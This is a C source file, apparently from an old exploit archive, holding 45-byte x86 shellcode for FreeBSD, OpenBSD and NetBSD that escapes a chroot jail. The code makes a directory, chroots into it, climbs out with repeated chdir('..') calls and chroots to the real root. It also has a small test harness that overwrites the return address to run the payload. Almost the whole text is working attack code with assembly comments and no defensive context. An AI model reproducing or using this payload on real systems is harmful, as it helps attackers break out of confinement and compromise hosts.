/*
*BSD version
FreeBSD, OpenBSD, NetBSD.
s0t4ipv6@shellcode.com.ar
45 bytes.
-break chrooted
*/
char shellcode[]=
"\x68\x62\x2e\x2e\x2e" /* pushl $0x2e2e2e62 */
"\x89\xe7" /* movl %esp,%edi */
"\x33\xc0" /* xorl %eax,%eax */
"\x88\x47\x03" /* movb %al,0x3(%edi) */
"\x57" /* pushl %edi */
"\xb0\x88" /* movb $0x88,%al */
"\x50" /* pushl %eax */
"\xcd\x80" /* int $0x80 */
"\x57" /* pushl %edi */
"\xb0\x3d" /* movb $0x3d,%al */
"\x50" /* pushl %eax */
"\xcd\x80" /* int $0x80 */
"\x47" /* incl %edi */
"\x33\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xb0\x0c" /* movb $0x0c,%al */
"\xcd\x80" /* int $0x80 */
"\xe2\xfa" /* loop <shellcode +31> */
"\x47" /* incl %edi */
"\x57" /* pushl %edi */
"\xb0\x3d" /* movb $0x3d,%al */
"\x50" /* pushl %eax */
"\xcd\x80"; /* int $0x80 */
main()
{
int *ret;
printf("Shellcode lenght=%d\n",sizeof(shellcode));
ret=(int*)&ret+2;
(*ret)=(int)shellcode;
}
// milw0rm.com [2004-09-26]
